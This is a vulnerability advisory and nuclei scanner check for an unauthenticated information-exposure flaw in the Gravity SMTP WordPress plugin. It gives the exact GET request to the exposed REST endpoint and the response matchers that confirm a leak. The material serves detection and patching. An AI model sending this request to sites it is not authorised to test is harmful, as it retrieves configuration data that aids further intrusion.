Gravity SMTP WordPress Plugin - Sensitive Information Exposure

highseverity

7.5CVSS score

73.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Gravity SMTP WordPress plugin <= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.

Impact

Unauthenticated attackers can access detailed system and configuration data, potentially aiding further attacks or information leakage.

Fix

Update to the latest version beyond 2.1.4.

How to confirm it

Send: GET {{BaseURL}}/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings
Positive when: contains "gravitysmtp_admin_config" and "system_report_clipboard" and "feature_flags" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-4020 -u <target>

The full check

id: CVE-2026-4020

info:
  name: Gravity SMTP WordPress Plugin - Sensitive Information Exposure
  author: theamanrawat
  severity: high
  description: |
    Gravity SMTP WordPress plugin <= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access detailed system and configuration data, potentially aiding further attacks or information leakage.
  remediation: |
    Update to the latest version beyond 2.1.4.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-gravity-smtp-plugin-2-1-4-unauthenticated-sensitive-information-exposure-via-rest-api-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/12a296db-ecc0-409b-8718-0c208504053a?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-200
    cve-id: CVE-2026-4020
    epss-score: 0.73799
    epss-percentile: 0.9948
  metadata:
    max-request: 1
    verified: true
    vendor: rocketgenius
    product: gravitysmtp
    framework: wordpress
  tags: cve,cve2026,exposure,wordpress,wp-plugin,gravitysmtp,wp,unauthenticated,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "gravitysmtp_admin_config"
          - "system_report_clipboard"
          - "feature_flags"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from